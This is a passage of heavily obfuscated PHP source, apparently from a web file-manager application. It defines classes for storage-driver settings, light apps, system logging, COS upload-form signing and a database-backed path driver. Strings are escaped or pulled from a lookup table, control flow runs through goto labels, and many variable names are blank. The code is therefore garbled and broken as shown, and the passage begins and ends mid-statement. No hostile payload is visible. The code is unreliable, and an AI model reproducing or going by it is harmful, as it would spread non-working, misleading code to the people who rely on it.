is_array($Ͻ) ? $Ͻ : array(); $߭ = null; for ($럎 = 0; $럎 < count($Ͻ); $럎 += $) { $ͳ = array_slice($Ͻ, $럎, $); if (!is_array($ͳ) || count($ͳ) == 0) { break; } $Ҟ[$[274]][$][1] = $ͳ; $this->optionsValue($Ҟ); $̙ = parent::select($Ȗ); if (!$̙) { continue; } $߭ = is_array($߭) ? $߭ : array(); $߭ = array_merge($߭, $̙); } return $߭; } public function delete($ = array()) { $ŀ =& $_SERVER[譃]; $仯 = self::SQL_WHERE_IN_CHUNK; $ѿ = $this->optionsValue(); $隄 = $this->findWhereField($ѿ); if (!$隄) { return parent::delete($); } $ = 0; $ = $ѿ[$ŀ[274]][$隄][1]; $ = is_array($) ? $ : array(); for ($ɵ = 0; $ɵ < count($); $ɵ += $仯) { $Ô = array_slice($, $ɵ, $仯); if (!is_array($Ô) || count($Ô) == 0) { break; } $ѿ[$ŀ[274]][$隄][1] = $Ô; $this->optionsValue($ѿ); $ += parent::delete($); } return $; } private function findWhereField($ۼ) { $ =& $_SERVER[譃]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($ۼ) || !is_array($ۼ[$[274]])) { return !1; } foreach ($ۼ[$[274]] as $͎ => $ۃ) { if (is_array($ۃ) && isset($ۃ[0]) && is_string($ۃ[0]) && strtolower($ۃ[0]) == $[7] && is_array($ۃ[1]) && count($ۃ[1]) > $) { ignore_timeout(); return $͎; } } return !1; } public function setMasterDB($ܦ = true) { think_config($_SERVER[譃][392], $ܦ); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\x73\164\x65\x6d\117\160\x74\x69\157\156"; public $field = array(); public function listData($ = false, $ = "\155\157\x64\151\x66\x79\x54\151\x6d\x65", $׆ = false) { $뿐 = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($뿐); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $뿐 = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$뿐) { return $ ? null : array(); } if (!$) { $뿐 = array_filter(array_values($뿐)); return array_sort_by($뿐, $, $׆); } return $뿐[$_SERVER[譃][393] . $]; } public function insert($٣) { $Æٶ =& $_SERVER[譃]; $٣ = array_field_key($٣, $this->field); $ͥڧ = Model($this->modelType)->get($Æٶ[394], $this->optionType . $Æٶ[395]); $ͥڧ = $ͥڧ ? $ͥڧ : 0; $٣[$Æٶ[396]] = ++$ͥڧ; $٣[$Æٶ[197]] = time(); $٣[$Æٶ[86]] = time(); Model($this->modelType)->set($Æٶ[394], $ͥڧ, $this->optionType . $Æٶ[395]); Model($this->modelType)->set($Æٶ[393] . $ͥڧ, $٣, $this->optionType); return $ͥڧ; } public function update($, $) { $ =& $_SERVER[譃]; $ = array_field_key($, $this->field); $飠 = $this->listData($); if (!$飠 || !$) { return !1; } $ = array_merge($飠, $); $[$[86]] = time(); return Model($this->modelType)->set($[393] . $, $, $this->optionType); } public function remove($Ͻ) { if (!$Ͻ) { return !1; } return Model($this->modelType)->remove($_SERVER[譃][393] . $Ͻ, $this->optionType); } public function clear() { $̕ =& $_SERVER[譃]; Model($this->modelType)->remove($̕[394], $this->optionType . $̕[395]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ي, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ي); return isset($[$]) ? $[$] : !1; } public function findByName($ܒ) { return $this->findByKey($_SERVER[譃][32], $ܒ); } protected function resetData($) { $ʈ =& $_SERVER[譃]; $ = is_array($) ? $ : array(); $ݘ = array(); for ($ = 0; $ < count($); $++) { $ݘ[$ʈ[393] . $[$][$ʈ[396]]] = $[$]; } return Model($this->modelType)->set($ݘ, !1, $this->optionType); } private function getAutoName($) { $ㅇ = array_to_keyvalue($this->listData(), $_SERVER[譃][32]); if (!$ㅇ || !isset($ㅇ[$])) { return $; } for ($ = 1; $ < count($ㅇ); $++) { $ܔ = $ . "\50{$}\51"; if (!isset($ㅇ[$ܔ])) { return $ܔ; } } return $ܔ; } } goto D暙ל; dϧ: define($_SERVER[譃][240], 1); define($_SERVER[譃][241], 0); define($_SERVER[譃][242], 2); goto a; bɇ: class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\x2e\163\164\157\162\141\147\x65\114\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\163\151\x7a\x65\115\x61\x78", "\x73\x79\x73\x74\145\155", "\144\145\146\141\x75\154\164", "\x64\162\151\x76\x65\x72", "\x63\x6f\156\146\x69\x67"); public function listData($ = false, $̂ = "\155\x6f\x64\x69\x66\x79\x54\x69\155\x65", $Ә՞ = false) { $߬꽉 =& $_SERVER[譃]; $ۑ = parent::listData($, $̂, $Ә՞); if ($) { return $ۑ; } $銃У = $this->ioSizeUseGet(array_to_keyvalue($ۑ, $߬꽉[12], $߬꽉[396])); foreach ($ۑ as $ => $ݛ) { unset($ۑ[$][$߬꽉[6]]); $ۑ[$][$߬꽉[1812]] = isset($銃У[$ݛ[$߬꽉[396]]]) ? $銃У[$ݛ[$߬꽉[396]]] : 0; } return $ۑ; } public function ioSizeUseGet($Ʀ) { $ =& $_SERVER[譃]; if (!$Ʀ) { return array(); } $ = $[2127] . implode($[50], $Ʀ); $˄ = Cache::get($); if ($˄) { return $˄; } $⊂ = array($[815] => $[396], $[2128] => $[80]); $ь = array($[815] => array($[7], $Ʀ)); $˄ = Model($[787])->field($⊂)->where($ь)->group($[815])->select(); $˄ = array_to_keyvalue($˄, $[396], $[80]); Cache::set($, $˄, 600); return $˄; } public function getConfig($) { $ۨɪ = parent::listData($); return json_decode($ۨɪ[$_SERVER[譃][6]], !0); } public function update($ҍ, $㺇) { $ =& $_SERVER[譃]; $ʕ = $㺇[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$ʕ]) && $[$ʕ][$[396]] != $ҍ) { return !1; } if (isset($㺇[$[2129]]) && $㺇[$[2129]] == $[89]) { $this->checkConfig($㺇); } unset($㺇[$[2129]]); $ = parent::update($ҍ, $㺇); if ($ && $㺇[$[37]]) { $晉 = 0; foreach ($ as $) { if ($[$[37]] && $[$[396]] != $ҍ) { $晉 = $[$[396]]; parent::update($[$[396]], array($[37] => 0)); } } $this->updateBackup($ҍ, $晉); } return $; } public function add($ަ) { $晥 =& $_SERVER[譃]; $ = array_to_keyvalue(parent::listData(), $晥[32]); if (isset($[$ަ[$晥[32]]])) { return !1; } $this->checkConfig($ަ); $л = parent::insert($ަ); if ($л && $ަ[$晥[37]]) { foreach ($ as $ԗş) { if ($ԗş[$晥[37]]) { parent::update($ԗş[$晥[396]], array($晥[37] => 0)); } } } return $л; } public function updateBackup($, $ӻ) { $ˈߝ =& $_SERVER[譃]; if (!$ӻ) { return; } $ = Model($ˈߝ[747])->config(); if ($[$ˈߝ[1625]] != $ˈߝ[89] || $[$ˈߝ[750]] != $ӻ) { return; } $Î = Model($ˈߝ[768])->get($ˈߝ[778]); $Î = json_decode($Î, !0); if (!$Î) { return; } $Î[$ˈߝ[750]] = $; Model($ˈߝ[768])->set(array($ˈߝ[778] => $Î)); } public function checkConfig(&$ү, $ = false) { $Ğ =& $_SERVER[譃]; $ؖ = strtolower($ү[$Ğ[96]]); $ӮՎ = json_decode($ү[$Ğ[6]], !0); foreach ($ӮՎ as $è => $Ξ) { $ӮՎ[$è] = trim($Ξ); } $ӮՎ[$Ğ[2130]] = rand_string(6); $ = $GLOBALS[$Ğ[6]][$Ğ[90]][$Ğ[824]]; $Ͼ = isset($[$ؖ]) ? $[$ؖ] : ucfirst($ؖ); $ = $Ğ[74] . $Ͼ; if (!$Ͼ || !class_exists($)) { if ($) { return LNG($Ğ[2131]); } write_log(array($Ğ[2132], $ү, get_caller_info()), $Ğ[2133]); show_json(LNG($Ğ[2131]), !1, $ү); } $ = new $($ӮՎ); if (in_array($ؖ, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($Ğ[2134]); $ .= $Ğ[2135] . LNG($Ğ[2136]); if ($) { return $; } show_json($, !1); } } $إ = rtrim($ӮՎ[$Ğ[1179]], $Ğ[8]) . $Ğ[8]; $ = $->getPath($إ . $Ğ[1241]); if (!$->mkfile($)) { if ($) { return LNG($Ğ[2134]); } show_json(LNG($Ğ[2134]), !1); } $ӮՎ[$Ğ[1179]] = $إ; $ү[$Ğ[6]] = json_encode($ӮՎ); $ү[$Ğ[96]] = $Ͼ; return !0; } public function driverListSystem() { $ =& $_SERVER[譃]; $ = parent::listData(); $͐ = array(); foreach ($ as $) { unset($[$[197]], $[$[86]]); $[$[6]] = json_decode($[$[6]], !0); $͐[] = $; } return $͐; } public function defaultDriver() { $ݲ =& $_SERVER[譃]; $ѿ = parent::listData(); $Հ = array_filter_by_field($ѿ, $ݲ[37], 1); $Հ = $Հ[0]; if ($Հ) { $Հ[$ݲ[6]] = json_decode($Հ[$ݲ[6]], !0); } return $Հ; } public function driverInfo($ɒ) { $ڦߡ =& $_SERVER[譃]; $練ڐ = array_to_keyvalue(parent::listData(), $ڦߡ[396]); if (!isset($練ڐ[$ɒ])) { return !1; } $IJ = $練ڐ[$ɒ]; $IJ[$ڦߡ[6]] = json_decode($IJ[$ڦߡ[6]], !0); return $IJ; } public function remove($ֺ) { $this->removeShareItems($ֺ); return parent::remove($ֺ); } public function removeWithFile($т┝, $ɷ) { $삛ڙ =& $_SERVER[譃]; $ = array($삛ڙ[815] => $т┝); $ = Model($삛ڙ[466])->where($)->count(); $ = Model($삛ڙ[466])->where($)->sum($삛ڙ[80]); $ޖ = $ɷ . $삛ڙ[2137] . $т┝; $ە = LNG($ɷ == $삛ڙ[550] ? $삛ڙ[2138] : $삛ڙ[2139]); $ա = new TaskFileTransfer($ޖ, $삛ڙ[2133], $, $ە . "\x28{$т┝}\51"); $ա->task[$삛ڙ[761]] = (double) $; $퉯͛ = KodIO::defaultDriver(); $ۜ = $퉯͛[$삛ڙ[396]]; $ = "\x7b\x69\157\x3a{$ۜ}\175\x2f"; $ݺܺ = !0; $Ћ = array(); $ޮ = Model($삛ڙ[196])->where($)->field($삛ڙ[2140])->select(); foreach ($ޮ as $) { $Վ = $[$삛ڙ[78]]; $֡ = $ . str_replace("\173\x69\x6f\72{$т┝}\x7d\57", $삛ڙ[12], $Վ); if (!IO::exist($Վ)) { $Ћ[] = $[$삛ڙ[463]]; $ա->updateFileEnd($[$삛ڙ[32]], $[$삛ڙ[80]]); continue; } if (IO::exist($֡)) { $ա->updateFileEnd($[$삛ڙ[32]], $[$삛ڙ[80]]); continue; } if (!IO::move($Վ, get_path_father($֡))) { $ݺܺ = !1; break; } $ = array($삛ڙ[463] => $[$삛ڙ[463]]); $ؼ = array($삛ڙ[815] => $ۜ, $삛ڙ[78] => $֡); Model($삛ڙ[196])->where($)->save($ؼ); } $this->removeByFileID($Ћ); if (!$ݺܺ) { $ա->stop($ޖ); return !1; } $ա->end(); if ($ɷ == $삛ڙ[1792]) { $this->remove($т┝); } } public function progress($, $ȸ) { return Task::get($ȸ . $_SERVER[譃][2137] . $); } private function removeByFileID($ = array()) { $ =& $_SERVER[譃]; if (empty($)) { return; } $֧ = array($[463] => array($[7], $)); $ = Model($[1325])->where($֧)->field($[399])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[399]); foreach ($ as $ݘ) { Model($[413])->removeNow($ݘ, !1); } } private function removeShareItems($㋁) { $ּ =& $_SERVER[譃]; $у = "\x7b\x69\157\72{$㋁}\x7d\57"; $Ŕ = array($ּ[399] => 0, $ּ[1174] => array($ּ[382], "{$у}\x25")); $ = Model($ּ[1803])->where($Ŕ)->field($ּ[484])->select(); if (empty($)) { return; } $ä = array_to_keyvalue($, $ּ[12], $ּ[484]); Model($ּ[594])->remove($ä); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\x6d\56\x4c\151\x67\x68\164\x41\160\160"; public $modelType = "\123\171\x73\x74\x65\155\117\x70\x74\151\x6f\156"; public $field = array("\156\141\x6d\x65", "\x67\162\157\x75\160", "\144\145\x73\x63", "\143\x6f\x6e\164\145\x6e\164"); public function listData($ = false, $ = "\155\x6f\x64\x69\146\171\x54\151\155\x65", $ = true) { return parent::listData($, $, $); } public function remove($ߍ̩) { $þ堵 = $this->findByName($ߍ̩); if (!$þ堵) { return !1; } return parent::remove($þ堵[$_SERVER[譃][396]]); } public function add($ߋ) { if ($this->findByName($ߋ[$_SERVER[譃][32]])) { return !1; } return parent::insert($ߋ); } public function update($, $˩) { $Ԙ =& $_SERVER[譃]; $ = $this->findByName($); $䇈ď = $this->findByName($˩[$Ԙ[32]]); if (!$ || $䇈ď && $䇈ď[$Ԙ[396]] != $[$Ԙ[396]]) { return !1; } return parent::update($[$Ԙ[396]], $˩); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\145\x6d\x5f\x6c\157\x67"; protected $dataAuto = array(array("\143\x72\x65\141\164\145\x54\151\x6d\145", "\164\151\155\x65", "\x69\156\163\x65\162\x74", "\146\165\x6e\143\164\x69\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[譃]; return array($[2141] => LNG($[2142]), $[2143] => LNG($[2144]), $[1766] => LNG($[2145]), $[2146] => LNG($[2147]), $[2148] => LNG($[2149]), $[2150] => LNG($[2151]), $[2152] => LNG($[2153]), $[1796] => LNG($[2153]), $[1797] => LNG($[2154]), $[2155] => LNG($[2156]), $[2157] => LNG($[2158]), $[2159] => LNG($[2160]), $[2161] => LNG($[2162]), $[1794] => LNG($[2163]), $[2164] => LNG($[2165]), $[1801] => LNG($[2166]), $[2167] => LNG($[2168]), $[2169] => LNG($[2170]), $[2171] => LNG($[2172]), $[2173] => LNG($[2174]), $[1804] => LNG($[2175]), $[1805] => LNG($[2176]), $[2177] => LNG($[2178]), $[2179] => LNG($[2180]), $[2181] => LNG($[2182]), $[1799] => LNG($[2183]), $[2184] => LNG($[2185]), $[1798] => LNG($[2186]), $[2187] => LNG($[2188]), $[2189] => LNG($[2190]), $[2191] => LNG($[2192]), $[2193] => LNG($[2193]), $[2194] => LNG($[1770]), $[2195] => LNG($[2196]), $[2197] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202]), $[2203] => LNG($[2204]), $[2205] => LNG($[2205]), $[2206] => LNG($[2207]), $[2208] => LNG($[2209]), $[2210] => LNG($[2211]), $[2212] => LNG($[2213]), $[2214] => LNG($[2215]), $[2216] => LNG($[2217])); } private function typeFile() { $ =& $_SERVER[譃]; $ = array($[1801] => array($[1802]), $[2159] => array($[2218]), $[2161] => array($[2219]), $[1794] => array($[1795]), $[2169] => array(), $[2171] => array(), $[2173] => array(), $[1804] => array($[1806]), $[1805] => array($[1806]), $[2177] => array($[2220]), $[2179] => array($[2220]), $[2181] => array($[2221]), $[2167] => array($[2222]), $[1799] => array($[2223]), $[2184] => array($[2224]), $[1798] => array($[1800])); return $; } private function typeAll() { $ =& $_SERVER[譃]; $䀕Ե = $this->typeList; $ږ = array_filter($this->typeFile()); foreach ($ږ as $ => $) { $䀕Ե[$[0]] = $䀕Ե[$]; } $䀕Ե[$[1806]] = LNG($[2225]); $䀕Ե[$[2220]] = LNG($[2226]); return $䀕Ե; } public function addLog($Γ, $㟞 = array()) { $ =& $_SERVER[譃]; if (!isset($this->typeList[$Γ])) { return; } $ϣ = defined($[470]) && USER_ID ? USER_ID : (isset($㟞[$[1655]]) ? $㟞[$[1655]] : 0); if (!$ϣ) { $ϣ = (int) Session::get($[1957]); } $ј = get_client_ip(); if (!$㟞 || strlen(json_encode($㟞)) >= 1024) { $㟞 = array($[2227] => $ј); } else { if (is_array($㟞)) { $㟞[$[2227]] = $ј; } else { $㟞 = array($[1191] => $㟞, $[2227] => $ј); } } $㟞 = array($[1645] => Session::sign(), $[1646] => $ϣ, $[33] => $Γ, $[1648] => json_encode($㟞)); parent::add($㟞); } public function remove($Ʊޚ) { $this->where(array($_SERVER[譃][416] => $Ʊޚ))->delete(); } private function _makeOrder($͙ = '') { $ϧ =& $_SERVER[譃]; $옵 = $ϧ[197]; $÷ǫ = array($ϧ[444] => $ϧ[445], $ϧ[446] => $ϧ[447]); $ۭ = Input::get($ϧ[452], $ϧ[7], $ϧ[1989], array($ϧ[1913], $ϧ[446])); $ۭ = $÷ǫ[$ۭ]; $͙ = $͙ . "{$옵}\x20{$ۭ}"; return $this->order($͙); } public function get($ = '') { $ =& $_SERVER[譃]; if (!$) { show_json(array()); } $݅ = array(); if ($[$[1655]]) { $݅[$[1655]] = $[$[1655]]; } if (isset($[$[759]])) { $ț = $[$[759]]; $ = isset($[$[492]]) ? $[$[492]] : time(); $݅[$[197]] = array($[332], array($ț, $)); } if ($[$[33]]) { $棡 = explode($[50], $[$[33]]); $լ֔ = $this->typeFile(); $𫆯 = array(); foreach ($棡 as $) { $𫆯[] = $; if (isset($լ֔[$])) { $𫆯 = array_merge($𫆯, $լ֔[$]); } } $𫆯 = array_unique($𫆯); if ($𫆯) { $݅[$[33]] = array($[7], $𫆯); } } else { $݅[$[33]] = array($[2228], $[2229]); } if (!empty($[$[2227]])) { $݅[$[447]] = array($[382], "\x25{$[$[2227]]}\x25"); } $ = $this->_makeOrder()->where($݅)->selectPage(); if (empty($[$[368]])) { show_json(array(), !0, $[$[365]]); } $[$[368]] = $this->logList($[$[368]]); return $; } private function ipAddress(&$ـ) { $ =& $_SERVER[譃]; if (!empty($ـ[$[2227]])) { $Њ = IpLocation::get($ـ[$[2227]]); } else { $Њ = LNG($[2230]); } $ـ[$[2231]] = $Њ; } private function descZipDownload($, &$ن) { $ѷ =& $_SERVER[譃]; if (!isset($[$ѷ[2232]])) { return; } $ = json_decode($[$ѷ[2232]], !0); foreach ($ as $) { try { $ң = IO::infoFull($[$ѷ[78]]); } catch (Exception $) { continue; } $[$ѷ[78]] = $[$ѷ[78]]; $ن[] = $[$ѷ[399]] = $ң[$ѷ[399]]; $ن[] = $[$ѷ[2043]] = $ң[$ѷ[494]]; break; } return $; } private function getSourceList(&$܈) { $ =& $_SERVER[譃]; $ǡ = array(); foreach ($܈ as $Ғӷ => $) { $ۈ = json_decode($[$[447]], !0); if ($[$[33]] == $[1797]) { $ۈ = $this->descZipDownload($ۈ, $ǡ); $܈[$Ғӷ][$[447]] = json_encode($ۈ); continue; } if (strpos($[$[33]], $[2045]) !== 0) { if (!isset($ۈ[$[78]]) || strpos($[$[33]], $[2233]) !== 0) { continue; } try { $ = IO::infoFull($ۈ[$[78]]); } catch (Exception $ދ) { continue; } $ǡ[] = $ۈ[$[399]] = $[$[399]]; $ǡ[] = $ۈ[$[2043]] = $[$[494]]; $܈[$Ғӷ][$[447]] = json_encode($ۈ); continue; } $ǡ[] = $ۈ[$[399]]; $ǡ[] = $ۈ[$[2043]]; if ($ۈ[$[33]] == $[550]) { $ǡ[] = $ۈ[$[447]][$[1158]]; $ǡ[] = $ۈ[$[447]][$[1159]]; } if ($ۈ[$[33]] == $[2052]) { $ǡ[] = $ۈ[$[447]][$[399]]; } } if (!$ǡ) { return array(); } return Model($[823])->sourceListInfo($ǡ, !0); } private function logList($) { $ =& $_SERVER[譃]; $Ũ = array_to_keyvalue($, $[12], $[1655]); $耸 = Model($[537])->userListInfo(array_unique($Ũ)); $Ɏ = $this->getSourceList($); $Ι = $this->typeAll(); $ݶ = array(); $ = array(); foreach ($ as $ҭΉ => $ѷ) { $ = $ѷ[$[33]]; $ = isset($耸[$ѷ[$[1655]]]) ? $耸[$ѷ[$[1655]]] : !1; $ = strpos($, $[2234]) === 0 ? LNG($[2235]) : LNG($[2230]); $ѷ[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2230]); $ѷ[$[534]] = isset($[$[534]]) ? $[$[534]] : $[12]; $ѷ[$[1555]] = isset($Ι[$]) ? $Ι[$] : $; $ѷ[$[1988]] = $; $ = json_decode($ѷ[$[447]], !0); $ѷ[$[2227]] = isset($[$[2227]]) ? $[$[2227]] : $[12]; $ѷ[$[2231]] = IpLocation::get($ѷ[$[2227]]); if (strpos($, $[2045]) === 0 || isset($[$[2043]])) { $[$[87]] = $Ɏ[$[$[399]]]; $[$[2057]] = $Ɏ[$[$[2043]]]; if ($[$[33]] == $[550]) { $[$[447]][$[1158]] = $Ɏ[$[$[447]][$[1158]]]; $[$[447]][$[1159]] = $Ɏ[$[$[447]][$[1159]]]; } if ($[$[33]] == $[2052]) { $[$[447]][$[399]] = $Ɏ[$[$[447]][$[399]]]; } if ($[$[33]] == $[1792]) { $[$[2057]] = $[$[87]]; $[$[2043]] = $[$[2057]][$[399]]; $[$[87]] = !1; $[$[399]] = $[12]; } if ($[$[87]] && $[$[87]][$[408]] == $[1274]) { $[] = $ѷ[$[396]]; unset($[$ҭΉ]); continue; } if ($[$[2057]] && $[$[2057]][$[408]] == $[1274]) { $[] = $ѷ[$[396]]; unset($[$ҭΉ]); continue; } } $ѷ[$[447]] = $; unset($ѷ[$[2236]]); $ݶ[] = $ѷ; } $this->clearSystemPathLog($); return $ݶ; } private function clearSystemPathLog($) { $ =& $_SERVER[譃]; if (count($) == 0) { return; } $Á = array($[396] => array($[7], array_unique($))); $this->where($Á)->delete(); } public function deviceList($, $ = 0) { $ÞƓ =& $_SERVER[譃]; $ = array($ÞƓ[1655] => $, $ÞƓ[197] => array($ÞƓ[1014], $), $ÞƓ[33] => $ÞƓ[1766]); $ĝ = array(); $σٓ = $this->field($ÞƓ[2237])->where($)->order($ÞƓ[2055])->limit(50)->select(); foreach ($σٓ as $ => $) { if ($ > 0 && abs($[$ÞƓ[197]] - $σٓ[$ - 1][$ÞƓ[197]]) < 5) { continue; } $ = json_decode($[$ÞƓ[447]], !0); $[$ÞƓ[2227]] = isset($[$ÞƓ[2227]]) ? $[$ÞƓ[2227]] : $ÞƓ[12]; unset($[$ÞƓ[2227]]); $ܪ = $this->deviceType($[$ÞƓ[2046]]); if (isset($ĝ[$ܪ])) { continue; } $[$ÞƓ[2231]] = IpLocation::get($[$ÞƓ[2227]]); $[$ÞƓ[447]] = $; $ĝ[$ܪ] = $; } return array_values($ĝ); } public function deviceType($) { return $; } } goto Cן; d҄: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[譃][215]); } public function uploadFormData($, $ = 3600) { $ɵ =& $_SERVER[譃]; $ = $ɵ[195]; $Ò = $ɵ[231]; $ě = $ɵ[1308]; $ = gmdate($ɵ[1309], time() + $); $ = (string) time() . $ɵ[71] . (string) (time() + $); $ӱ = array($ɵ[1310] => $, $ɵ[1311] => array(array($ɵ[1312] => $), array($ɵ[1313] => $this->bucket), array($ɵ[1314], $ɵ[1315], $ɵ[12]), array($ɵ[1316] => $ě), array($ɵ[1317] => $Ò), array($ɵ[1318] => $this->accessKey), array($ɵ[1319] => $))); $ӱ = json_encode($ӱ); $嬎 = hash_hmac($ɵ[231], $, $this->secret); $ = sha1($ӱ); $֏ = hash_hmac($ɵ[231], $, $嬎); $ = array($ɵ[1312] => $, $ɵ[1316] => $ě, $ɵ[1320] => base64_encode($ӱ), $ɵ[1317] => $Ò, $ɵ[1318] => $this->accessKey, $ɵ[1321] => $, $ɵ[1322] => $֏, $ɵ[178] => $this->getHost()); return $; } public function fileOutLink($Dž) { $λ =& $_SERVER[譃]; if (substr($Dž, 0, 7) == $λ[1323]) { $Dž = $λ[1324] . substr($Dž, 7); } header($λ[162] . $Dž); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($ɞ״) { $this->pathParse = $ɞ״; $this->model = Model($_SERVER[譃][1325]); } public function getPath($ƫĭ) { return trim($ƫĭ, $_SERVER[譃][8]); } public function pathFather($Š) { $ם = $this->parse($Š); $ם = $this->infoSimple($Š); return $ם ? $ם[$_SERVER[譃][494]] : !1; } public function pathThis($) { $Ʀ = $this->infoSimple($); return $Ʀ ? $Ʀ[$_SERVER[譃][32]] : !1; } public function getPathOuter($Ǽ) { if (!$Ǽ) { return $Ǽ; } $ل = $this->parse($Ǽ); return KodIO::make($ل[$_SERVER[譃][396]]); } public function copyFolderFromIO($˝, $ϣ, $, $ӿ, $⃒) { $ښѲ = $this->model->copyFolderFromIO($˝, $ϣ, $, $ӿ, $⃒); return KodIO::make($ښѲ); } public function isParentOf($̈́̏, $Ϋ) { return $this->model->isParentOf($̈́̏, $Ϋ); } public function mkfile($巐, $ɐ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[譃]; $ = $this->parse($巐); $巐 = $[$[396]]; for ($ٍµ = 0; $ٍµ < count($[$[1326]]); $ٍµ++) { $䯿 = $[$[1326]][$ٍµ]; if ($ٍµ == count($[$[1326]]) - 1) { $巐 = $this->model->mkfile($巐, $䯿, $ɐ, $); break; } $巐 = $this->model->mkdir($巐, $䯿, REPEAT_SKIP); } return $this->getPathOuter($巐); } public function mkdir($Ų, $二 = REPEAT_SKIP) { $ތ =& $_SERVER[譃]; $ޘ = $this->parse($Ų); $Ų = $ޘ[$ތ[396]]; for ($ì = 0; $ì < count($ޘ[$ތ[1326]]); $ì++) { $ݧ = $ޘ[$ތ[1326]][$ì]; $Ų = $this->model->mkdir($Ų, $ݧ, $二); } return $this->getPathOuter($Ų); } public function copyFile($, $, $Σ = REPEAT_REPLACE) { $ =& $_SERVER[譃]; $ݕ = $this->parse($); $ʷ = $this->model->copy($, $ݕ[$[396]], $Σ, $ݕ[$[78]]); return $ʷ ? $this->getPathOuter($ʷ) : !1; } public function moveFile($, $, $Ϙ = REPEAT_REPLACE) { $ =& $_SERVER[譃]; $ؑ = $this->parse($); $ = $this->model->move($, $ؑ[$[396]], $Ϙ, $ؑ[$[78]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $DŽ, $شŘ = REPEAT_REPLACE, $ߗ = false) { $ = $this->parse($DŽ); $ = $this->model->copy($, $[$_SERVER[譃][396]], $شŘ, $ߗ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($І, $ς, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($ς); $ = $this->model->move($І, $[$_SERVER[譃][396]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $Ʌ = true) { return $this->model->remove($, $Ʌ); } public function rename($, $ɂ) { $Ÿ = $this->model->rename($, $ɂ); return $Ÿ ? $this->getPathOuter($) : $Ÿ; } public function size($) { $Ͱ = $this->infoSimple($); return $Ͱ ? $Ͱ[$_SERVER[譃][80]] : 0; } public function infoSimple($ᩡ) { return $this->model->sourceInfo($ᩡ); } public function info($) { return $this->infoParse($); } public function infoAuth($ؒ) { return $this->infoParse($ؒ, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFull($̇¾) { $ =& $_SERVER[譃]; $ = explode($[8], $̇¾); $ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function hashSimple($) { $籱 =& $_SERVER[譃]; $۳ = $this->infoWithChildren($); return $۳[$籱[167]][$籱[174]]; } public function hashMd5($ι) { $ =& $_SERVER[譃]; $ٶ = $this->infoWithChildren($ι); return $ٶ[$[167]][$[173]]; } public function exist($э妢) { $ =& $_SERVER[譃]; $ = $this->parse($э妢); if (!$[$[78]]) { return $this->isFile($э妢) || $this->isFolder($э妢); } $۲ = array($[398] => $[$[396]], $[32] => $[$[78]]); $Ⱦ = $this->model->where($۲)->find(); return $Ⱦ ? !0 : !1; } public function isFile($) { $ =& $_SERVER[譃]; $ = $this->infoSimple($); return $ && $[$[407]] == $[89] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[譃]; $↚ = $this->infoSimple($); return $↚ && $↚[$[407]] == $[89] ? !0 : !1; } public function listPath($Ś, $ = false) { $ =& $_SERVER[譃]; if ($Ś == $[12]) { return !1; } $˷ = array($[398] => $Ś); if ($) { return $this->model->listSource($˷, -1); } return $this->model->listSource($˷); } public function has($ޮ, $͜ = false, $ = null) { $ =& $_SERVER[譃]; $ = $this->infoWithChildren($ޮ); if ($͜) { return array($[207] => $[$[207]], $[206] => $[$[206]]); } return $ ? $[$[207]] : $[$[206]]; } public function listAll($) { $ˡ = IO::info($this->pathParse[$_SERVER[譃][78]]); if (!$ˡ) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ϔ = '') { return $this->model->setContent($, $ϔ); } public function fileSubstr($, $㛨, $ٯ) { return $this->model->fileSubstr($, $㛨, $ٯ); } public function download($đ, $Լ = '') { $ = get_path_father($Լ); $ؖҺ = get_path_this($Լ); $ߞ = $this->model->fileInfoGet($đ); $ˎ = IO::copy($ߞ[$_SERVER[譃][78]], $, !1, $ؖҺ); return $ˎ; } public function setModifyTime($途, $ȿ = '') { $ɯ =& $_SERVER[譃]; if (!$途) { return; } $this->model->where(array($ɯ[414] => $途))->save(array($ɯ[86] => $ȿ)); } public function upload($ڤǶ, $, $θ = false, $ = REPEAT_REPLACE) { $О =& $_SERVER[譃]; $Ҡ = $this->parse($ڤǶ); $ = $this->model->addFile($Ҡ[$О[396]], $, $Ҡ[$О[78]], $θ, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $̀ =& $_SERVER[譃]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$̀[396]], $, $[$̀[78]], $); return $this->getPathOuter($); } public function addFileByRemote($, $ͅ, $ = array(), $ = '', $렜) { $ٕͫ =& $_SERVER[譃]; $ӧ۵ = $this->parse($); $ = empty($) ? $ӧ۵[$ٕͫ[78]] : $; $ = 